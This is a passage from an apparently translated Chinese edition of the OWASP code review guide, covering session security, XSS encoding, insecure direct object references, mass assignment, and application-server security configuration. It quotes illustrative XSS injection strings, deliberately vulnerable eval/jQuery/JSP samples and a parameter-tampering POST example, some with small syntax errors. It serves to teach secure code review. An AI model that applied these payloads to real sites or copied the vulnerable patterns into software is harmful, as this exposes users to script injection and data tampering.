通常是强化系统最困难的部分。 ⚫ 会话标识应该放在 cookies 中,而不是网址中。网址信息会在浏览器的历史记录和超 文本传输协议中被参考,攻击者可以访问。 ⚫ 因为防止各种类型的 XSS 通常是强化系统最困难的部分,所以,有“HTTPOnly”的 105 属性禁止 XSS 获取 cookie,会话 cookie 应该设置了此属性。无论如何,如果代码需 要从客户端访问会话 cookie,您应该对这种代码产生怀疑。 ⚫ 地理位置审计有助于检测简单的劫持场景。高级劫机者使用受害者的相同 IP(或范围)。 ⚫ 当从另一个位置访问活动会话时,应发出警告。 ⚫ 当活动用户在其他地方有活动会话时,应发出警告(如果策略允许单个用户有多个会话)。 会话固定 ⚫ 如果应用程序发现池中不存该用户的会话标识,则应拒绝它,并应重置新的会话标识。 这是防止固定的唯一方法。 ⚫ 所有会话标识都应该由应用程序生成,然后存储在一个池中,供以后审计。应用程序是 生成会话的唯一权威。 会话提升 ⚫ 无论何时提升会话(登录、注销、特定授权),都应该进行更新。 ⚫ 许多应用程序也为访问者(而不仅仅是经过身份验证的用户)创建会话。他们肯定应该在 提升时更新会话,因为用户希望应用程序在他们登录后安全地对待保证他们会话安全。 ⚫ 发生降级时,应刷新有关更高级别的会话信息。 ⚫ 会话在提升时应该更新。更新意味着会话 id 应该被改变,并且会话信息应该被转移到 新的 id。 106 会话管理的服务器端防御 .NET ASPX 生成新的会话标识有助于防止会话滚动、固定和劫持。 JAVA PHP php.ini 1 public class GuidSessionIDManager : SessionIDManager { 2 public override string CreateSessionID(HttpContext context){ 3 return Guid.NewGuid().ToString(); 4 } 5 public override bool Validate(string id) { 6 try{ 7 Guid testGuid = new Guid(id); 8 if (id == testGuid.ToString()) 9 return true; 10 }catch(Exception e) { throw e } 11 return false; 12 } 13 } 1 request.getSession(false).invalidate(); 2 //and then create a new session with 3 getSession(true) (getSession()) 107 参考 ⚫ https://wwww.owasp.org/index.php/SecureFlag 3.3 A3 跨站点脚本注入(XSS) 3.3.1 概述 什么是跨站点脚本(XSS)? 跨站点脚本(XSS)是一种编码注入漏洞。它通常出现在 web 应用程序中。XSS 使攻击者 能够向其他用户浏览的网页中注入恶意内容。XSS 允许攻击者绕过访问控制,例如,同源策 略。它是 OWASP Top10 最常见的漏洞之一。赛门铁克在其年度威胁报告中发现,XSS 是 网络服务器上的第二大漏洞。根据易受攻击站点处理的数据的敏感性和站点组织实施的任何 安全缓解措施的性质,此漏洞的严重性/风险可能从有害到主要安全风险不同等级。 描述 有三种类型的 XSS,反射 XSS(非持久),存储 XSS(持久),和基于 DOM 的 XSS。每种 类型都有不同的方式向服务器传递恶意负载。攻击的效果是一样的。 审计什么 1 session.use_trans_sid = 0 2 session.use_only_cookies 108 跨站点脚本漏洞很难从 web 应用程序中识别和移除。搜索缺陷的最佳实践是执行严格 的代码审计,并搜索用户通过 HTTP 输入的内容可能在任何系统 HTML 输出的地方。 代码审计人员需要仔细审计: ⚫ 不受信任的数据不会像超文本标记语言或 JavaScript 那样在相同的超文本传输协议响 应中传输。 ⚫ 当数据从服务器传输到客户端时,不可信的数据和 HTTP 响应必须被正确编码。不要假 设服务器上的数据是安全的。最佳做法是始终审计数据。 ⚫ 当引入到 DOM 中时,不可信数据必须使用以下应用编程接口之一来引入: a) Node.textContent b) document.createTextNode c) Element.setAttribute(仅第二个参数) 代码审计者也应该知道 HTML 标签(比如< img src…>,< iframe…>,< bgsound src…>等。可以用来传输恶意的 JavaScript。 网络应用程序漏洞自动工具/扫描仪可以帮助发现跨站点脚本漏洞。然而,他们无法找 到所有的 XSS 漏洞,因此手动代码审计很重要。手动代码审计也不能涵盖所有内容,但是 基于您的风险水平,实施深度防御方法始终是最好的方法。 OWASP Zed 是一个易于使用的集成渗透测试工具,用于发现网络应用程序中的漏洞。 ZAP 提供了自动扫描仪以及一套工具,允许您手动查找安全漏洞。它充当一个网络代理, 109 您可以将浏览器指向它,这样它就可以看到流向某个站点的流量,并允许您对应用程序进行 爬虫、扫描、模糊和攻击,还有其他开源和商用扫描仪。 .NET ASPX ⚫ 关于 ASPX.网页代码审计应该审计以确保 web 配置文件不会关闭页面验证。< pages validateRequest="false" /> ⚫ .Net framework 4.0 不允许关闭页面验证。因此,如果程序员想转向页面验证,开发 人员需要回归到 2.0 验证模式。< httpRuntime request validation-Mode = " 2.0 "/> ⚫ 代码审计者需要确保页面验证在任何地方都不会被关闭,并且如果它被关闭,就要理解 为什么以及它给组织带来的风险。< % @ Page Language = " c# " validation request = " false " .NET MVC 当 MVC 网络应用程序输入恶意的 XSS 代码时,它们会抛出如下错误: 示例.NET XSS 框架错误: 为避免此漏洞,请确保包含以下代码: 110 <%server.HtmlEncode(stringValue)%> HTMLEncode 方法对指定的字符串应用 HTML 编码。在您的网络应用程序中使用表单 数据和其他客户端请求数据之前,这是一种很有用的快速编码方法。对数据进行编码会将潜 在的不安全字符转换为其对应的 HTML 编码。(MSDN,2013 年) 不幸的是,HtmlEncode 或验证功能不足以处理 XSS,尤其是在用户输入需要添加到 JavaScript 代码、标签属性、XML 或 URL 中时。在这种情况下,一个好的选择是反 XSS 库。 使用 Microsft’s Anti-XSS 库 防止 XSS 的另一个帮助是使用反 XSS 库。 JavaScript 和 JavaScript 框架 如今,Javascript 和 Javascript 框架都广泛应用于 web 应用程序中。这阻碍了代码审 计者了解哪些框架在防止 XSS 缺陷方面做得很好,哪些框架做得不好。代码审计人员应该 审计一下,看看对于正在使用的框架是否存在任何 CVE,并审计 javascript 框架是否是最 新的稳定版本。 111 OWASP 参考 OWASP XSS 预防手册 OWASP XSS 过滤器规避备忘单 基于 OWASP DOM 的 XSS 预防备忘单 测试指南:关于数据验证测试的前 3 章 OWASP 攻击代理项目 外部参考 • https://www4.symantec.com/mktginfo/whitepaper/ISTR/21347932_GA-internet-securit y-threat-report-volume-20-2015-social_v2.pdf • https://cwe.mitre.org/data/definitions/79.html • http://webblaze.cs.berkeley.edu/papers/scriptgard.pdf • http://html5sec.org • https://cve.mitre.org 3.3.2 超文本标记语言属性编码 HTML 属性可能包含不可信的数据。确定给页面上的任何 HTML 属性设定的值是否包 含来自信任边界之外的数据非常重要。 112 有些 HTML 属性被认为比其他属性更安全,如 align、alink、alt、bgcolor、border、 cellpadding、cellspacing、class、color、cols、colspan、coords、dir、face、height、 hspace、ismap、lang、marginheight、marginwidth、multiple、nohref、noresize、 noshade、nowrap、ref、rel、rev、row、rowspan、scroll、shape、span、summary、 tabin- dex、title、usemap、valign、value、vlink、vspace、width。 当审计 XSS 的代码时,我们需要寻找 HTML 属性,例如下面的代码: <input type=”text” name=”fname” value=”UNTRUSTED DATA”> 攻击可能采用以下格式: “><script>/* bad stuff */</script> 什么是属性编码? 超文本标记语言属性编码取代了字符子集,这对于防止字符串破坏超文本标记语言元素 的属性很重要。 这是因为属性的性质,属性包含的数据,以及浏览器或 HTML 解析器对属性的解析和 解释方式,与 HTML 文档及其元素的读取方式不同(选自 OWASP XSS Prevention Cheat Sheet)。 除字母数字字符外,转义所有 ASCII 值小于 256 的字符,转为带& # xHH 格式化(或 命名实体,如果可用)。 这条规则如此应用宽泛的原因是,开发人员经常不参考属性。正确参考的属性只能用相 应的引号转义。未加引号的属性可以用很多字符拆分,包括[空格] % * +,-/;< = > ^和|。 113 属性编码可以以多种方式执行。两种资源是: 1.HttpUtility.HtmlAttributeEncode http://msdn.microsoft.com/en-us/library/wdek0zbf.aspx 2. OWASP Java 编码器项目 https://www.owasp.org/index.php/OWASP_Java_Encoder_Project 超文本标记语言实体(HTML entity) 对于包含用户控制数据或来自不可信来源的数据的 HTML 元素,应进行上下文输出编 码审计。对于超文本标记语言实体,我们需要帮助确保执行超文本标记语言实体编码: 包含不可信数据的 HTML 实体示例: HTML Body Context <span>UNTRUSTED DATA</span> <body>...UNTRUSTED DATA </body> <div>UNTRUSTED DATA </div> 需要超文本标记语言实体编码 & --> &amp; < --> &lt; > --> &gt; “ --> &quot; ‘ --> &#x27; 建议审计不可信数据在实体对象中的位置。 在源代码中搜索以下编码器可能有助于确定是否在应用程序中以一致的方式进行了 114 HTML 实体编码。 OWASP Java 编码器项目 https://www.owasp.org/index.php/OWASP_Java_Encoder_Project <input type=”text” name=”data” value=”<%=Encode.forHtmlAttribute(dataValue) %>” /> OWASP-ESAPI http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/ owasp/esapi/codecs/HTMLEntityCodec.java String safe = ESAPI.encoder().encodeForHTML( request.getParameter( “input” ) ); JavaScript 参数 不可信数据如果放在 JavaScript 函数/代码中需要验证。无效数据可能会脱离数据上下 文,最终在用户浏览器的代码上下文中执行。 值得回顾的开发点(汇)示例: 115 <script>var currentValue=’UNTRUSTED DATA’;</script> <script>someFunction(‘UNTRUSTED DATA’);</script> attack: ‘);/* BAD STUFF */ 潜在解决方案: OWASP HTML Sanitizer Project OWASP JSON Sanitizer Project ESAPI JavaScript 转义可以通过以下方式调用: String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( “input” ) ); 请注意,有些 Javascript 函数永远不能安全地使用不受信任的数据作为输入——即使 JavaScript 已经转义! 例如(注意这是一个如何不使用 JavaScript 的例子): setInterval <script> window.setInterval(‘...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...’); </script> eval var txtField = “A1”; var txtUserInput = “’test@google.ie’;alert(1);”; eval( “document.forms[0].” + txtField + “.value =” + A1); 116 Jquery var txtAlertMsg = “Hello World: “; var txtUserInput = “test<script>alert(1)<\/script>”; $(“#message”).html(txtAlertMsg +”” + txtUserInput + “”); 安全使用(使用文本,而不是 html) $(“#userInput”).text( “test<script>alert(1)<\/script>”);<-- treat user input as text 嵌套上下文 最好避免这样的嵌套上下文:一个元素属性调用一个 JavaScript 函数等等。这些环境真 的会扰乱你的思维。 <div onclick=”showError(‘<%=request.getParameter(“errorxyz”)%>’)” >An error occurred </div> Here we have a HTML attribute(onClick) and within a nested Javascript function call (showError). 当浏览器处理这个时,它将首先对 onclick 属性的内容进行 HTML 解码。它会将结果 传递给 JavaScript 解释器。这里有两个上下文...HTML 和 Javascript (2 个浏览器解析器)。 我们需要以正确的顺序应用“分层”编码: 1. JavaScript 编码。 2. 超文本标记语言属性编码,使其“展开”正确,不容易受到攻击。 <div onclick=”showError (‘<%= Encoder.encodeForHtml(Encoder.encodeForJavaScript( request. getParameter(“error”)%>’)))” >An error occurred ....</div> 117 3.4 A4 不安全直接对象参考 3.4.1 概述 不安全的直接对象参考是网络应用程序的常见漏洞,它提供不同级别的访问或向用户公 开内部对象。可以公开的例子有数据库记录、网址、文件、账号,或者允许用户通过操纵网 址绕过网络安全控制。 用户可以被授权访问网络应用程序,但不能访问特定的对象,如数据库记录、特定的文 件甚至是网址。潜在威胁可能来自 web 应用程序的授权用户,该用户提供了一个参数值, 该参数值直接指向用户无权访问的对象。如果应用程序没有验证访问该对象的用户,可能会 导致不安全的直接对象参考漏洞。 3.4.2 描述 这种风险问题的根源在于对服务器端对先前生成的数据的操作或更新。 3.4.2.1 审计什么 SQL 注入 利用此漏洞进行攻击的一个例子可能是用户已经通过验证的 web 应用程序。现在,用 户希望通过另一个网页查看打开的发票。应用程序使用网址字符串传递帐号。应用程序在访 问帐户信息的 SQL 调用中使用未经验证的数据: String query = “SELECT * FROM accts WHERE account = ?”; PreparedStatement pstmt = connection.prepareStatement(query , ... ); pstmt.setString( 1, request.getParameter(“acct”)); 118 ResultSet results = pstmt.executeQuery(); 攻击者只需在浏览器中修改“账号”参数,就可以发送他们想要的任何账号。如果应用 程序不执行用户验证,攻击者可以访问任何用户的帐户,而不仅仅是目标客户的帐户。 HTTP 开机自检请求 一位网络安全分析师(易卜拉欣·拉法特)发现雅虎有一个不安全的直接对象参考漏洞。建 议通过使用实时 HTTP 头来审计他可以看到的发布请求中的内容: prop=addressbook&fid=367443&crumb=Q4.PSLBfBe.&cid=1236547890&cmd= delete_comment 其中参数“fid”是主题 id,“cid”是各自的注释 id。在测试时,他发现变化 fid 和 cid 参数值允许他从论坛中删除其他评论,这些评论实际上是由另一个用户发布的。 接下来,他用同样的方法测试了帖子删除机制,发现了一个类似的漏洞。一个正常的删 除帖子的请求是: POST cmd = delete _ item & cramb = SbWqLz.LDP0 他发现,将 fid(主题 id)变量附加到 URL 后,他可以删除其他用户的相应帖子: POST cmd = delete _ item & cramb = SbWqLz.LDP0&fid=xxxxxxxx 经过进一步分析,他发现攻击者可以修改 HTTP POST 请求中的参数,删除雅虎用户输 入的 150 万条记录。 119 间接参考映射 此外,攻击者可能会发现内部命名约定,并推断操作功能的方法名称。例如,如果一个 应用程序有用于检索对象详细信息的网址,比如:攻击者将试图使用以下网址对对象进行修 改: xyz.com/Customers/View/2148102445 or xyz.com/Customers/ViewDetails.aspx?ID=2148102445 此外,如果 web 应用程序返回一个列出部分目录路径或对象名称的对象,攻击者可以 修改这些内容。 xyz.com/Customers/Update/2148102445 or xyz.com/Customers/Modify.aspx?ID=2148102445 Or xyz.com/Customers/admin 数据绑定技术 在大多数设计框架(JSP/Structs,Spring)中看到的另一个流行特性是数据绑定,其中 HTTP GET 请求参数或 HTTP POST 变量直接绑定到相应业务/命令对象的变量。这里的绑 定意味着这种类的实例变量根据它们的名称自动用请求参数值初始化。考虑下面给出的示例 设计。注意业务逻辑类绑定了业务对象类,业务对象类绑定了请求参数。 这种设计的缺陷是业务对象可能有不依赖于请求参数的变量。这些变量可能是关键变量, 如价格、最高限价、角色等。具有静态值或者依赖于某些服务器端处理逻辑。这种情况下的 一个威胁是,攻击者可能会在请求中提供额外的参数,并试图绑定业务对象类的未公开变量 的值。 安全设计建议: 120 ⚫ 这里需要注意的一点是,业务/表单/命令对象必须只有这些依赖于用户输入的实例变量。 ⚫ 如果存在额外的变量,这些变量一定不是重要的变量,如与功能的业务规则相关的变量。 ⚫ 在任何情况下,应用程序必须只接受用户想要的输入,其余的必须被拒绝或保持未绑定。 和未公开的变量的初始化,如果有的话,必须发生在绑定逻辑之后。 审计标准 审计应用程序设计并审计它是否包含数据绑定逻辑。如果包含,审计绑定到请求参数的 业务对象/bean 是否有未公开的变量,这些变量要确保是静态值。如果这些变量在绑定逻辑 之前被初始化,这种攻击有可能会成功。 代码审计需要做什么: 代码审计者需要“在被审计的代码中,映射出用户输入用于直接参考对象的所有位置”。 这些位置包括用户输入用于访问数据库行、文件、应用程序等的位置。审计者需要了解用于 参考对象的输入的修改是否会导致检索用户无权查看的对象。 如果使用不受信任的输入来访问服务器端的对象,则必须采用适当的授权审计来确保数 据不会泄露。还需要辅以正确的输入验证,以确保服务器端代码正确处理不可信的输入。请 注意,此授权和输入验证必须在服务器端执行,因为攻击者可以绕过客户端代码。 MVC.NET 中的绑定问题 121 过度发布和批量分配 在 MVC 框架中,批量分配是一种机制,它允许我们用 HTTP 表单字段中的请求来更新 我们的模型。由于需要更新的数据来自表单字段的集合,用户可以发送请求并修改模型中可 能不在表单中的其他字段,可能开发人员并不打算更新这些字段。 根据您创建的模型,可能会有不想修改的敏感数据被修改。当恶意用户修改模型的字段 (这些字段不会通过视图暴露给用户)时,该漏洞就会被利用,并且恶意用户更改隐藏的模型 值会添加额外的模型参数。 样本 1 public class user { public int ID { get; set; } <- exposed via view public string Name { get; set; } <- exposed via view public bool isAdmin{ get; set; } <-hidden from view } 样本 2 ID: <%= Html.TextBox(“ID”) %> <br> Name: <%= Html.TextBox(“Name”) %> <br> <-- no isAdmin here! 这个模型对应的 HTML 包含两个字段:标识和名称 如果攻击者将 isAdmin 参数添加到表单中并提交,他们可以更改上面的模型对象。因 此,恶意攻击者可能会更改 isAdmin=true 122 建议: 1. 使用不存在禁止用户编辑的值的模型。 2. 使用可以更新的绑定方法和白名单属性。 3. 使用 controller.UpdateModel 方法排除某些属性更新。 参考 ⚫ OWASP 2007 年漏洞 Top 10 有不安全对象参考描述 ⚫ 访问参考地图应用编程接口 ⚫ ESAPI 访问控制应用编程接口(请参见 isAuthorizedForData(),isAuthorizedForFile(), isAuthorizedForFunction()) ⚫ https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verifica tion_Standard_Project ⚫ https://cwe.mitre.org/data/definitions/639.html ⚫ https://cwe.mitre.org/data/definitions/22.html 3.5 A5 安全配置错误 许多现代应用程序都是在框架上开发的。这些框架减少了开发人员的工作量,因为框架 做了很多“基础的工作”。开发的代码会扩展框架的功能。在这种情况下,给定框架的知识 123 以及应用程序实现所使用的语言是至关重要的。许多事务性功能在“父”类(框架)中处理, 可能在开发人员的代码中不可见。审计者应该知道并了解底层框架。 Web 应用程序不是孤立执行的,它们通常部署在应用服务器内,运行在物理主机上的 操作系统上,位于网络中。 安全操作系统配置(也称为强化)通常不在代码审计范围内。有关更多信息,请参见互联 网安全中心操作系统基准 (https://docs.aws.amazon.com/inspector/latest/userguide/inspector_cis.html)。 今天的网络不仅仅由提供传输服务的路由器和交换机组成。过滤交换机、虚拟局域网、 防火墙、网络应用防火墙和各种中间设备(例如,反向代理、入侵检测和防御系统)都提供关 键的安全服务。这是一个很大的话题,但是超出了本 web 应用程序代码审计指南的范围。 要获得一个好的总结,请参阅 SANS(系统管理、网络和安全)协会关键控制 10:网络设备(如 防火墙、路由器和交换机)的安全配置(这个暂未找到)。 应用服务器框架具有许多与安全相关的功能。这些功能是在静态配置文件中启用和配置 的,通常采用 XML 格式,但也可以在代码以注释设置。 3.5.1 Apache Struts 在 struts 中,struts-config.xml 和 web.xml 文件是查看应用程序事务功能的核心。 struts-config.xml 文件包含每个 HTTP 请求的操作映射,而 web.xml 文件包含部署描述符。 124 struts 框架有一个验证引擎,它依赖正则表达式来验证输入数据。验证器的优点是不必 为每个表单 bean 编写代码(表单 bean 是从 HTTP 请求接收数据的 Java 对象)。struts 中默 认情况下不启用验证器。要启用验证器,必须在 struts-config.xml 的<插件>部分定义一个 插件。定义的属性告诉 struts 框架在哪里定义自定义验证规则(validation.xml)以及实际规 则本身的具体含义(validation-rules.xml)。 如果没有对 struts 框架的正确理解,并且仅仅通过审核 Java 代码,就看不到任何正在 执行的验证,也看不到已定义的规则和 Java 函数之间的关系。 动作映射定义了应用程序在接收请求时采取的动作。这里,在下面的样本中,我们可以 看到当 URL 包含"/login "时,将调用 LoginAction。从动作映射中,我们可以看到应用程 序在收到外部输入时执行的事务。 <?xml version=”1.0” encoding=”ISO-8859-1” ?> <!DOCTYPE struts-config PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 1.0//EN” “http://jakarta.apache.org/struts/dtds/struts-config_1_0.dtd”> <struts-config> <form-beans> <form-bean name=”login” type=”test.struts.LoginForm” /> </form-beans> <global-forwards> </global-forwards> <action-mappings> <action path=”/login” type=”test.struts.LoginAction” > <forward name=”valid” path=”/jsp/MainMenu.jsp” /> <forward name=”invalid” path=”/jsp/LoginView.jsp” /> </action> 125 </action-mappings> <plug-in className=”org.apache.struts.validator.ValidatorPlugIn”> <set-property property=”pathnames” value=”/test/WEB-INF/validator-rules.xml, /WEB-INF/validation.xml”/> </plug-in> </struts-config> 3.5.2 Java 企业版配置声明方式 Java 代码安全性是网络应用程序中使用框架或标准的 Java 企业版(JEE)API 来保障的。 JEE 有 JEE 安全模型,该模型使用基于角色的安全模型,根据安全角色授予对应用程序资源 的访问权限。安全角色是主体(经过身份验证的实体,通常是用户)的逻辑分组,通过在角色 上指定安全约束来声明访问。 约束和角色被表示为部署描述符,部署描述符以 XML 元素形式展示。不同类型的组件 对其部署描述符使用不同的格式或模式: ⚫ 网络组件可以在文件中使用网络应用程序部署描述符 ⚫ 企业 JavaBeans 组件可以使用一个名为 META-INF/ejb-jar.xml 的 EJB 部署描述符 部署描述符可以定义资源(例如,可通过特定网址访问的小服务程序),哪些角色被授权 访问资源,以及如何限制访问(例如,通过获取但不发布)。 下面的样本示例是 Web 组件描述符(包含在“ web.xml”文件中),定义了 Servlet catalog “经理”的角色。该角色在用户使用 SSL 并成功通过 HTTP 基本身份验证“经理” 126 角色后,可通过 GET 和 POST 请求访问的 Servlet 中的 SalesInfo 资源。 <?xml version=”1.0” encoding=”ISO-8859-1”?> <web-app xmlns=”http://java.sun.com/xml/ns/j2ee” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation= ” http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_5.xsd ” version=?2.5?> <display-name>A Secure Application</display-name> <servlet> <servlet-name>catalog</servlet-name> <servlet-class>com.mycorp.CatalogServlet</servlet-class> <init-param> <param-name>catalog</param-name> <param-value>Spring</param-value> </init-param> <!-- Define Security Roles --> <security-role-ref> <role-name>MGR</role-name> <role-link>manager</role-link> </security-role-ref> </servlet> <security-role> <role-name>manager</role-name> </security-role> <servlet-mapping> <servlet-name>catalog</servlet-name> <url-pattern>/catalog/*</url-pattern> </servlet-mapping> <!-- Define A Security Constraint --> <security-constraint> < !-- Specify the Resources to be Protected --> 127 <web-resource-collection> <web-resource-name>SalesInfo</web-resource-name> <url-pattern>/salesinfo/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <!-- Specify which Users Can Access Protected Resources --> <auth-constraint> <role-name>manager</role-name> </auth-constraint> <!-- Specify Secure Transport using SSL (confidential guarantee) --> <user-data-constraint> <transport-guarantee>CONFIDENTIAL</transport-guarantee> </user-data-constraint> </security-constraint> <!-- Specify HTTP Basic Authentication Method --> <login-config> <auth-method>BASIC</auth-method> <realm-name>file</realm-name> </login-config> </web-app> 还可以在“ejb-jar.xml”文件中为企业 Java beans 声明安全角色,如下面示例所示。 <ejb-jar> <assembly-descriptor> <security-role> <description>The single application role</description> <role-name>TheApplicationRole</role-name> </security-role> </assembly-descriptor> 128 </ejb-jar> 然而,对于 bean,不是指定对 servlets 内资源的访问,而是指定对 bean 方法的访问。 下面的示例说明了几个 beans 的几种类型的方法访问约束。 <ejb-jar> <assembly-descriptor> <method-permission> <description>The employee and temp-employee roles may access any method of the EmployeeService bean </description> <role-name>employee</role-name> <role-name>temp-employee</role-name> <method> <ejb-name>EmployeeService</ejb-name> <method-name>*</method-name> </method> </method-permission> <method-permission> <description>The employee role may access the findByPrimaryKey, getEmployeeInfo, and the updateEmployeeInfo(String) method of the AardvarkPayroll bean </description> <role-name>employee</role-name> <method> <ejb-name>AardvarkPayroll</ejb-name> <method-name>findByPrimaryKey</method-name> </method> <method> <ejb-name>AardvarkPayroll</ejb-name> <method-name>getEmployeeInfo</method-name> </method> <method> <ejb-name>AardvarkPayroll</ejb-name> 129 <method-name>updateEmployeeInfo</method-name> <method-params> <method-param>java.lang.String</method-param> </method-params> </method> </method-permission> <method-permission> <description>The admin role may access any method of the EmployeeServiceAdmin bean </description> <role-name>admin</role-name> <method> <ejb-name>EmployeeServiceAdmin</ejb-name> <method-name>*</method-name> </method> </method-permission> <method-permission> <description>Any authenticated user may access any method of the EmployeeServiceHelp bean</description> <unchecked/> <method> <ejb-name>EmployeeServiceHelp</ejb-name> <method-name>*</method-name> </method> </method-permission> <exclude-list> <description>No fireTheCTO methods of the EmployeeFiring bean may be used in this deployment</description> <method> <ejb-name>EmployeeFiring</ejb-name> <method-name>fireTheCTO</method-name> </method> 130 </exclude-list> </assembly-descriptor> </ejb-jar> 如果使用 XML 部署描述符来保护应用程序,代码审计应该包括“web.xml”和 “ejb-jar.xml”文件,以确保访问控制被正确地应用于角色,并且需要验证方法是预期的。 3.5.3 JEE 注解 Java 文档[2]中定义了安全性的 JEE 注解。可用的注释有: @ DeclareRoles @DenyAll -任何角色都不能调用该方法。 @PermitAll -所有角色都可以调用该方法。 @RolesAllowe-允许角色调用方法。 @RunAs -以特定角色动态运行方法。 例如,下面示例中的代码允许员工和经理将电影添加到持久存储中,任何人都可以列出 电影,但只有经理可以删除电影。 public class Movies { private EntityManager entityManager; 131 @RolesAllowed({“Employee”, “Manager”}) public void addMovie(Movie movie) throws Exception { entityManager.persist(movie); } @RolesAllowed({“Manager”}) public void deleteMovie(Movie movie) throws Exception { entityManager.remove(movie); } @PermitAll public List<Movie> getMovies() throws Exception { Query query = entityManager.createQuery(“SELECT m from Movie as m”); return query.getResultList(); } } 代码审计应该寻找这样的注释。如果存在,请确保它们反映了正确的角色和权限,并且 与“ejb-jar.xml”文件中声明的任何角色权限一致。 3.5.4 应用服务器特定配置 3.5.4.1 Apache Tomcat 应审计 server.xml[3]文件,以确保安全相关参数按预期配置。tomcat server.xml 文件 定义了许多与安全相关的参数。 参数 描述 Server 这是接受关闭命令的端口。 132 Connector s maxPostSize, maxParameterCount, server, SSLEnabled, secure, ciphers Host autoDeploy, deployOnStartup, deployXML Context crossContext, privileged, allowLinking Filter Tomcat 提供了许多过滤器,可以对传入的请求进行配置 Tomcat 过滤器尤其强大,除非有令人信服的理由,否则代码审计应该验证它们是否被 使用。 3.5.4.2 Jetty Jetty 增加了几项安全增强功能: ⚫ 限制表单内容 ⚫ 混淆密码 在“jetty-web.xml”文件中,可以在服务器和 web 应用程序级别配置最大表单内容大 小和表单键数量。 <Configure class=”org.eclipse.jetty.webapp.WebAppContext”> … <Set name=”maxFormContentSize”>200000</Set> <Set name=”maxFormKeys”>200</Set> </Configure> 133 <configure class=”org.eclipse.jetty.server.Server”> ... <Call name=”setAttribute”> <Arg>org.eclipse.jetty.server.Request.maxFormContentSize</Arg> <Arg>100000</Arg> </Call> <Call name=”setAttribute”> <Arg>org.eclipse.jetty.server.Request.maxFormKeys</Arg> <Arg>2000</Arg> </Call> </configure> Jetty 还支持在通常需要纯文本密码的 jetty XML 文件中使用模糊密码。下面示例显示 了使用模糊处理为 JDBC 数据源设置密码的示例代码。 <New id=”DSTest” class=”org.eclipse.jetty.plus.jndi.Resource”> <Arg></Arg> <Arg>jdbc/DSTest</Arg> <Arg> <New class=”com.jolbox.bonecp.BoneCPDataSource”> <Set name=”driverClass”>com.mysql.jdbc.Driver</Set> <Set name=”jdbcUrl”>jdbc:mysql://localhost:3306/foo</Set> <Set name=”username”>dbuser</Set> <Set name=”password”> <Call class=”org.eclipse.jetty.util.security.Password” name=”deobfuscate”> <Arg>OBF:1ri71v1r1v2n1ri71shq1ri71shs1ri71v1r1v2n1ri7</Arg> </Call> </Set> <Set name=”minConnectionsPerPartition”>5</Set> 134 <Set name=”maxConnectionsPerPartition”>50</Set> <Set name=”acquireIncrement”>5</Set> <Set name=”idleConnectionTestPeriod”>30</Set> </New> </Arg> </New> 3.5.4.3 JBoss JBoss 应用服务器,像 Jetty 一样,在其 XML 配置文件中允许密码混淆(在 JBoss 中称 为密码屏蔽)。使用 JBoss 密码实用程序创建密码掩码后,用以下注释替换 XML 配置文件 中出现的任何掩码密码。 <annotation> @org.jboss.security.integration.password.Password (securityDomain=MASK_NAME,methodName=setPROPERTY_NAME) </annotation> 请 参 见 《 JBoss 安 全 指 南 》 中 的 “ 在 XML 配 置 中 屏 蔽 密 码 ” ( https://docs.jboss.org/jbosssecurity/docs/6.0/security_guide/html_single/index. html)。 3.5.4.4 Oracle WebLogic WebLogic 服务器支持“weblogic.xml”文件中的附加部署描述符,如下表所示。 表:网络逻辑安全参数 135 参数 描述 externally-defined 角色到主体的映射是在 WebLogic 管理控制台中外 部定义的。 run-as-principal-name 当以角色身份运行时,为该角色分配主体。 run-as-role-assignment 包含 run-as-principal-name 描述符。 security-permission 包含安全许可规范描述符。 Filter WebLogic 提供了许多过滤器,可以将其配置为传入 请求。 security-permission-spec 指定应用程序权限。 security-role-assignment 明确分配负责人到角色。 有关 WebLogic 附加部署描述符的更多信息,请参见 weblogic.xml 部署描述符。 有关保护运行在 WebLogic 中的网络应用程序的一般指南,请参见编程 WebLogic 安 全指南和 NSA 的 BEA WebLogic 平台安全指南 (https://docs.oracle.com/cd/E76441_01/orase/pdf/141/html/security_guide/Outpu t/secure_appserver.htm)。 3.5.5 方案配置:J2EE 用于编程安全性的 J2EE 应用编程接口由 EJBContext 接口和 HttpServletRequest 接 136 口的方法组成。这些方法允许组件基于调用者或远程用户的安全角色做出业务逻辑决策(也 有验证用户的方法,但这不在安全部署配置的范围内)。 与 J2EE 安全配置交互的 J2EE 应用编程接口包括: ⚫ getRemoteUser,它确定客户端用来进行身份验证的用户名。 ⚫ isUserInRole,用于确定远程用户是否处于特定的安全角色。 ⚫ getUserPrincipal,它确定当前用户的主体名称,并返回一个 java.security。 应审计这些编程接口的使用,以确保与配置一致。具体来说,应该在部署描述符中用角 色名子元素声明 security-role-ref 元素,该子元素包含要传递给 isUserInRole 方法的角色 名。 下面示例中的代码演示了编程式安全的使用,用于登录以及建立身份和角色。这个 servlet 执行以下操作: ⚫ 显示当前用户的信息。 ⚫ 提示用户登录。 ⚫ 再次打印信息,展示登录方法的效果。 ⚫ 注销用户。 ⚫ 再次打印信息以展示注销方法的效果。 package enterprise.programmatic_login; 137 import java.io.*; import java.net.*; import javax.annotation.security.DeclareRoles; import javax.servlet.*; import javax.servlet.http.*; @DeclareRoles(“javaee6user”) public class LoginServlet extends HttpServlet { /** * Processes requests for both HTTP GET and POST methods. * @param request servlet request * @param response servlet response */ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(“text/html;charset=UTF-8”); PrintWriter out = response.getWriter(); try { String userName = request.getParameter(“txtUserName”); String password = request.getParameter(“txtPassword”); out.println(“Before Login” + “<br><br>”); out.println(“IsUserInRole?..” + request.isUserInRole(“javaee6user”)+”<br>”); out.println(“getRemoteUser?..” + request.getRemoteUser()+”<br>”); out.println(“getUserPrincipal?..”+ request.getUserPrincipal()+”<br>”); out.println(“getAuthType?..” + request.getAuthType()+”<br><br>”); try { request.login(userName, password); } catch(ServletException ex) { out.println(“Login Failed with a ServletException..” + ex.getMessage()); return; } 138 out.println(“After Login...”+”<br><br>”); out.println(“IsUserInRole?..” + 